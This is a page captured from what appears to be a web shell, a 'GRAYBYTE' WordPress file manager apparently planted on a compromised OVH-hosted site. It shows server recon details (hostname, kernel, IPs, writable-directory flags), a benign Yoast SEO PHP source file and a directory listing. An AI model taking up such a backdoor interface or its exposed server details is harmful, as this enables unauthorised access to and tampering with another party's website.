✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/plugins//schema-map-builder.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map;

use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Schema_Aggregator\Domain\Indexable_Count_Collection;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Repository_Interface;

/**
 * Builds the schema map.
 */
class Schema_Map_Builder {

	/**
	 * The schema map repository.
	 *
	 * @var Schema_Map_Repository_Interface
	 */
	private $schema_map_repository;

	/**
	 * The configuration.
	 *
	 * @var Config
	 */
	private $config;

	/**
	 * Schema_Map_Builder constructor.
	 *
	 * @param Config $config The configuration.
	 */
	public function __construct( Config $config ) {
		$this->config = $config;
	}

	/**
	 * Sets the schema map repository.
	 *
	 * @param Schema_Map_Repository_Interface $schema_map_repository The schema map repository.
	 *
	 * @return self
	 */
	public function with_repository( Schema_Map_Repository_Interface $schema_map_repository ): self {
		$this->schema_map_repository = $schema_map_repository;
		return $this;
	}

	/**
	 * Builds the schema map based on indexable counts and threshold.
	 *
	 * @param Indexable_Count_Collection $indexable_counts The indexable counts per post type.
	 *
	 * @return array<int,array<string>> The schema map.
	 */
	public function build( Indexable_Count_Collection $indexable_counts ): array {
		$schema_map = [];
		foreach ( $indexable_counts->get_indexable_counts() as $indexable_count ) {

			$post_type = $indexable_count->get_post_type();
			$count     = $indexable_count->get_count();

			$threshold = $this->config->get_per_page( $post_type );

			$total_pages = (int) \ceil( $count / $threshold );

			for ( $page = 1; $page <= $total_pages; $page++ ) {
				if ( $page === 1 && $total_pages === 1 ) {
					$url = $this->get_rest_route( $post_type );
				}
				elseif ( $page === 1 ) {
					$url = $this->get_rest_route( $post_type );
				}
				else {
					$url = $this->get_rest_route( $post_type, $page );
				}

				$lastmod = $this->schema_map_repository->get_lastmod_for_post_type( $post_type, $page, $threshold );

				$page_count = ( $page === $total_pages ) ? ( $count - ( ( $page - 1 ) * $threshold ) ) : $threshold;

				$schema_map[] = [
					'post_type' => $post_type,
					'url'       => $url,
					'lastmod'   => $lastmod,
					'count'     => $page_count,
				];
			}
		}

		return $schema_map;
	}

	/**
	 * Gets the REST route for the given post type and page.
	 *
	 * @param string $post_type The post type.
	 * @param int    $page      The page number (default is 1).
	 *
	 * @return string The REST route URL.
	 */
	public function get_rest_route( $post_type, $page = 1 ): string {
		if ( $page === 1 ) {
			return \rest_url( Main::API_V1_NAMESPACE . '/schema-aggregator/get-schema/' . $post_type );
		}
		else {
			return \rest_url( Main::API_V1_NAMESPACE . '/schema-aggregator/get-schema/' . $post_type . '/' . $page );
		}
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 Sep 2026 9.02 AM
docteuh / users
0777
Log
--
11 Sep 2026 6.49 AM
docteuh / users
0755
ai
--
26 Sep 2026 2.15 AM
docteuh / users
0755
application
--
10 Sep 2026 4.27 AM
docteuh / users
0755
components
--
23 Sep 2026 11.30 AM
docteuh / users
0755
dist
--
4 Sep 2026 3.26 AM
docteuh / users
0755
dynamic
--
21 Sep 2026 7.21 AM
docteuh / users
0755
infrastructure
--
23 Sep 2026 11.30 AM
docteuh / users
0755
js
--
11 Sep 2026 6.45 AM
docteuh / users
0755
plugins
--
19 Sep 2026 7.46 AM
docteuh / users
0755
seo-pro
--
9 Sep 2026 4.40 AM
docteuh / users
0755
socket-fossil
--
13 Sep 2026 6.40 AM
docteuh / users
0755
structured-data-blocks
--
27 Sep 2026 1.30 AM
docteuh / users
0755
tokens
--
4 Sep 2026 12.48 AM
docteuh / users
0755
VulnerabilitySnapshotDto.php
3.905 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
about-release-badge.svg
4.144 KB
21 May 2026 2.34 PM
docteuh / users
0644
class-admin-20260830233222.php
12.73 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-capability-manager.php
0.855 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-certificate.php
7.388 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
class-progress.php
4.24 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
code-generator.php
0.64 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
diffDOM.js
63.113 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
feature-flag-integration.php
2.932 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
functions.php
0.681 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
fusion-builder.php
1.876 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
index-command.php
9.929 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
index.php
0.027 KB
5 Jun 2014 5.59 PM
docteuh / users
0644
loader.php
6.886 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
max-sh-cbp-woo-quick-view.min.css
0.198 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
menu.css
46.294 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
options-20260903235431.php
1.865 KB
18 Jun 2024 3.06 AM
docteuh / users
0644
options.php
1.865 KB
18 Jun 2024 3.06 AM
docteuh / users
0644
plugin-headers.php
0.723 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-map-builder.php
2.985 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
string-helper.php
1.189 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
tool-import-export-20260831145638.php
4.199 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
uninstall-20260828010004.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
uninstall-20260831092403.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
uninstall.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
webpack.config-20260829203431.js
0.623 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
webpack.config.js
0.623 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
woocommerce-version-conditional.php
0.634 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wp-seo-main-20260913145333.php
17.215 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
wp-seo-main.php
17.215 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
xmlrpc.php
1.223 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF